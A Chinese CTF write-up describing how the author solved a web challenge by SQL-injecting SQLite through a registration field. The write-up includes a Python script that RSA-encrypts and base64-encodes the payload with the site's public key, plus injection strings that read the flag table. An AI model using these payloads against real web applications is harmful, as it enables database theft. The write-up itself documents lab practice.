题目上来是买flag的,一开始我真的以为买flag给flag,联想到了逻辑漏洞,但是测试后发现线程十分安全(一旦多了就自断请求失败!),直接又通过url联想到了flask的SSTI,但是测试了后username
参数过滤很严格,emmm陷入了沉思
直到Hint
放出来才知道是SQL注入
,az!
CREATE TABLE "users" ( "id" INTEGER NOT NULL, "username" TEXT UNIQUE , "login_password" text, "money" INTEGER, "pay_password" TEXT, "flag_num" INTEGER, PRIMARY KEY ("id") ); CREATE TABLE "flaaaaaaaaag" ( "flllllllag" TEXT );
接下来就是艰难的注入史,从登陆框的username
和password
开始日,再到购买flag时的pay_password
,一直没结果,看了一下请求包,发现password
和pay_password
都是加密的,并且最开始的一层是MD5加密,直接麻了。傻子都知道MD5没法逆推得明文的,数据库应该是直接存MD5值的。然后无果了。。。就去读书了
结束了之后,听师傅们说好像是从注册
功能的pay_password
打的,观察了一下这个值是通过一层MD5加密
、一层RSA加密
以及一层BASE64
完成的,并且右键查看源码可以获得RSA的公钥
。
既然MD5注入不了,那就从MD5和RSA中间注入了,写了下面这个脚本用来从MD5到RSA加密再到BASE64的
#-- coding:UTF-8 -- from Crypto.PublicKey import RSA as rsa from Crypto.Cipher import PKCS1_v1_5 import base64 public_key = '''-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW 3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX UGzrDiFb40I47X6oRQIDAQAB -----END PUBLIC KEY-----''' def rsa_long_encrypt(pub_key_str, msg, length=100): """ 单次加密串的长度最大为 (key_size/8)-11 1024bit的证书用100, 2048bit的证书用 200 """ pubobj = rsa.importKey(pub_key_str) pubobj = PKCS1_v1_5.new(pubobj) res = [] for i in range(0, len(msg), length): res.append(pubobj.encrypt(msg[i:i+length])) return "".join(res) if __name__ == "__main__": msg = "1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))));--+" enres = rsa_long_encrypt(public_key, msg, 65537) enbase64 = base64.b64encode(enres) print enbase64
这里的msg
参数一开始1263304a220b23ff58ff5639e34a306b
,接着改成了1263304a220b23ff58ff5639e34a306b');--+
,不过还是不行,在看Hint的时候发现,pay_password
后面还有一个字段flag_num
,于是改msg
为1263304a220b23ff58ff5639e34a306b',1);--+
,哦吼!成功了
锁定了注入点之后就好办了,本来是要构造1263304a220b23ff58ff5639e34a306b',if(1=1,1,0));--+
这种bool盲注形式的(回显点在登录后的首页,如上图所示),但是报错了。找了一圈是Sqlite
数据库。
通过Payload:1263304a220b23ff58ff5639e34a306b',sqlite_version());--+
,确定数据库的版本
然后通过Hint知道了flag的表和列,可以直接获得flag,Payload为:1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))));--+
这里本来是想用Bool盲注的,但是Sqlite的Bool盲注好难用,没搞明白,于是找了一种类似二次注入的方式。感觉题目本身不难,主要是小细节挺多的。
对于hex()后的值为啥能存在INTEGER类型中也是比较疑惑的,因为Sqlite2是不行的,但是Sqlite3是可以的,如果有懂的师傅求答疑解惑。现在这个我只能当trick记。